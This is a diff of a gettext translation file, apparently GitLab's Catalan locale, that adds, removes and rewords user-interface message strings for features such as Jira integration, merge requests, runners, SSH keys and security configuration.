msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19583,18 +19923,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19604,6 +19938,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19613,12 +19950,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19649,9 +19980,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19949,6 +20277,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20293,7 +20624,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20398,6 +20729,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20443,6 +20777,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20581,9 +20918,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20611,13 +20945,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20635,6 +20969,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20850,7 +21187,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20931,7 +21268,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21144,6 +21481,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21162,6 +21502,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21369,9 +21712,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21534,6 +21874,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21549,6 +21895,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr "Esdeveniments de fusió"
@@ -21594,22 +21943,13 @@ msgstr ""
msgid "Merge requests"
msgstr "Peticions de fusió"
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21729,6 +22069,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22366,6 +22718,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22617,9 +22972,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22770,9 +23122,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22797,6 +23146,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23000,6 +23352,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23036,6 +23391,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23231,6 +23589,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23279,9 +23640,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23324,6 +23691,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23345,6 +23715,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23440,6 +23813,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23655,7 +24031,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23811,7 +24187,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23895,6 +24271,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23985,19 +24367,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24017,6 +24399,12 @@ msgid_plural "%d more items"
msgstr[0] ""
msgstr[1] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24056,6 +24444,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24077,6 +24468,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24095,7 +24489,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24335,6 +24729,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24691,6 +25088,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24787,9 +25187,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25042,6 +25439,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25357,9 +25760,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25489,6 +25889,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25504,9 +25907,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25597,10 +25997,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25741,6 +26141,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25768,9 +26171,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26011,7 +26411,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26293,7 +26693,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26314,13 +26714,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26362,13 +26762,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26698,9 +27101,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26779,6 +27179,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27046,12 +27449,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27121,6 +27530,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27145,6 +27557,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27166,6 +27581,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27370,6 +27791,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27577,6 +28001,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27595,9 +28022,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27958,6 +28391,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28120,6 +28556,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28234,6 +28673,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28335,9 +28780,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28505,6 +28947,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28532,6 +28977,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28541,6 +28989,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28658,15 +29112,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28682,6 +29136,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28751,6 +29208,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28775,6 +29235,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28954,6 +29417,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28975,6 +29441,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28993,6 +29462,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29071,7 +29543,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29086,6 +29558,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29107,6 +29585,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29146,6 +29627,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29213,6 +29697,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29529,6 +30016,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29583,6 +30073,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29595,6 +30088,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29616,6 +30112,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29628,12 +30127,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29667,6 +30172,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29676,6 +30184,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29706,12 +30217,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29769,19 +30286,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29862,21 +30385,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30253,6 +30761,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30277,6 +30788,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30325,7 +30839,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30340,7 +30854,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30352,7 +30866,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30412,6 +30926,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30421,6 +30938,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30445,6 +30965,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
